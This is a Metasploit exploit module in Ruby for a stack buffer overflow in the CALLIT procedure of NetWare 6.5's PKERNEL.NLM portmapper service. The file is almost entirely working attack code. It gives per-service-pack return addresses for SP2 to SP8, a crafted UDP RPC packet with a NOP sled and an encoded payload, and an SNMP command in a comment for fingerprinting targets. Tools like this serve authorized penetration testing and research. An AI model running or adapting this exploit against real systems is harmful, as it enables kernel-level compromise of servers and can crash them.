##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in the NetWare PKERNEL.NLM driver's CALLIT procedure.
				PKERNEL.NLM is installed by default on all NetWare servers to support NFS.
				The PKERNEL.NLM module runs in kernel mode so a failed exploit attempt can
				cause the operating system to reboot.
			},
			'Author'         => [ 'pahtzo', ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					# There is no CVE for this vulnerability
					[ 'BID', '36564' ],
					[ 'OSVDB', '58447' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-067/' ],
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 2020,
				},
			'Platform'       => 'netware',
			'Targets'        =>
				[
					# NetWare SP and PKERNEL.NLM version can be found in SNMP:
					# snmpwalk -Os -c public -v 1 [target hostname] | egrep -i "sysdescr|pkernel.nlm"
					# sysDescr.0 = STRING: Novell NetWare 5.70.08  October 3, 2008
					# hrSWRunName.1191394992 = STRING: "PKERNEL.NLM  v15.01  (20081014)"
					[ 'NetWare 6.5 SP2', { 'Ret' => 0xb2329b98 } ], # push esp - ret (libc.nlm)
					[ 'NetWare 6.5 SP3', { 'Ret' => 0xb234a268 } ], # push esp - ret (libc.nlm)
					[ 'NetWare 6.5 SP4', { 'Ret' => 0xbabc286c } ], # push esp - ret (libc.nlm)
					[ 'NetWare 6.5 SP5', { 'Ret' => 0xbabc9c3c } ], # push esp - ret (libc.nlm)
					[ 'NetWare 6.5 SP6', { 'Ret' => 0x823c835c } ], # push esp - ret (libc.nlm)
					[ 'NetWare 6.5 SP7', { 'Ret' => 0x823c83fc } ], # push esp - ret (libc.nlm)
					[ 'NetWare 6.5 SP8', { 'Ret' => 0x823C870C } ], # push esp - ret (libc.nlm)
				],

			'DisclosureDate' => 'Sep 30 2009'))

		register_options([Opt::RPORT(111)], self.class)
	end

	def exploit
		connect_udp

		buf =  [rand(0xffffffff)].pack('N') # XID
		buf << [0].pack('N')                # Message Type: Call (0)
		buf << [2].pack('N')                # RPC Version: 2
		buf << [100000].pack('N')           # Program: Portmap (100000)
		buf << [2].pack('N')                # Program Version: 2
		buf << [5].pack('N')                # Procedure: CALLIT (5)
		buf << [0].pack('N')                # Credentials AUTH_NULL (0)
		buf << [0].pack('N')                # Length: 0
		buf << [0].pack('N')                # Verifier AUTH_NULL (0)
		buf << [0].pack('N')                # Length: 0
		buf << [0].pack('N')                # Program: Unknown (0)
		buf << [1].pack('N')                # Version: 1
		buf << [1].pack('N')                # Procedure: proc-1 (1)
		buf << [4097].pack('N')             # Arguments: <DATA> length: 4097

		buf << make_nops(2072)              # fill to ret
		buf << [target.ret].pack('V')       # addr. of push esp - ret
		buf << payload.encoded              #

#        print_status("payload space #{payload_space()}...")
#        print_status("payload len #{payload.encoded.length}...")
#        print_status("total buf len #{buf.length}...")

		print_status("Trying target #{target.name}...")

		udp_sock.put(buf)
		handler
		disconnect_udp
	end

end
